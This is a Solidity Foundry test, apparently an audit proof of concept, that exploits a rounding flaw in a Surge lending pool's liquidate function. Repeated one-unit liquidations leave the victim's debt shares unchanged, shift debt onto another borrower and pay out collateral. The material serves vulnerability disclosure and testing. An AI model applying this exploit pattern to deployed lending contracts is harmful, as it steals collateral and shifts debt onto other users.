```\nfunction testLiquidateSteal() external {\n        uint loanTokenAmount = 12000;\n        uint borrowAmount = 1000;\n        uint collateralAmountA = 10000;\n        uint collateralAmountB = 1400;\n        MockERC20 collateralToken = new MockERC20(collateralAmountA+collateralAmountB, 18);\n        MockERC20 loanToken = new MockERC20(loanTokenAmount, 18);\n        Pool pool = factory.deploySurgePool(IERC20(address(collateralToken)), IERC20(address(loanToken)), 0.8e18, 0.5e18, 1e15, 1e15, 0.1e18, 0.4e18, 0.6e18);\n        loanToken.approve(address(pool), loanTokenAmount);\n        pool.deposit(loanTokenAmount);\n\n        // Alice borrows 1000 \n        collateralToken.transfer(address(1), collateralAmountB);\n        vm.prank(address(1));\n        collateralToken.approve(address(pool), collateralAmountB);\n        vm.prank(address(1));\n        pool.addCollateral(address(1), collateralAmountB);\n        vm.prank(address(1));\n        pool.borrow(borrowAmount);\n\n        // Bob borrows 1000 too \n        collateralToken.approve(address(pool), collateralAmountA);\n        pool.addCollateral(address(this), collateralAmountA);\n        pool.borrow(borrowAmount);\n\n       // Bob's debt becomes 1200\n       vm.warp(block.timestamp + 365 days);\n       pool.withdraw(0);\n       uint mydebt = pool.getDebtOf(pool.debtSharesBalanceOf(address(this)), pool.debtSharesSupply(), pool.lastTotalDebt());\n       assertEq(mydebt, 1200);    \n\n      // Alice's debt becomes 1200\n       uint address1Debt = pool.getDebtOf(pool.debtSharesBalanceOf(address(1)), pool.debtSharesSupply(), pool.lastTotalDebt());\n       assertEq(address1Debt, 1200);  \n       assertEq(pool.lastTotalDebt(), 2399);  \n\n       uint myCollateralBeforeLiquidate = collateralToken.balanceOf(address(this));\n\n       // liquidate 200 for Alice\n       loanToken.approve(address(pool), 200);\n       for(int i; i<200; i++)\n            pool.liquidate(address(1), 1);\n\n      // Alice's debt shares are NOT reduced, now Bob's debt is reduced to 1100\n       uint debtShares = pool.debtSharesBalanceOf(address(1));\n       assertEq(debtShares, 1000);\n       assertEq(pool.lastTotalDebt(), 2199);\n       address1Debt = pool.getDebtOf(pool.debtSharesBalanceOf(address(1)), pool.debtSharesSupply(), pool.lastTotalDebt());\n       assertEq(address1Debt, 1100); \n       mydebt = pool.getDebtOf(pool.debtSharesBalanceOf(address(this)), pool.debtSharesSupply(), pool.lastTotalDebt());\n       assertEq(mydebt, 1100);    \n\n       // Bob gains the collateral as well proportionately \n       uint myCollateralAfterLiquidate = collateralToken.balanceOf(address(this));\n       assertEq(myCollateralAfterLiquidate-myCollateralBeforeLiquidate, 200);\n    }\n```\n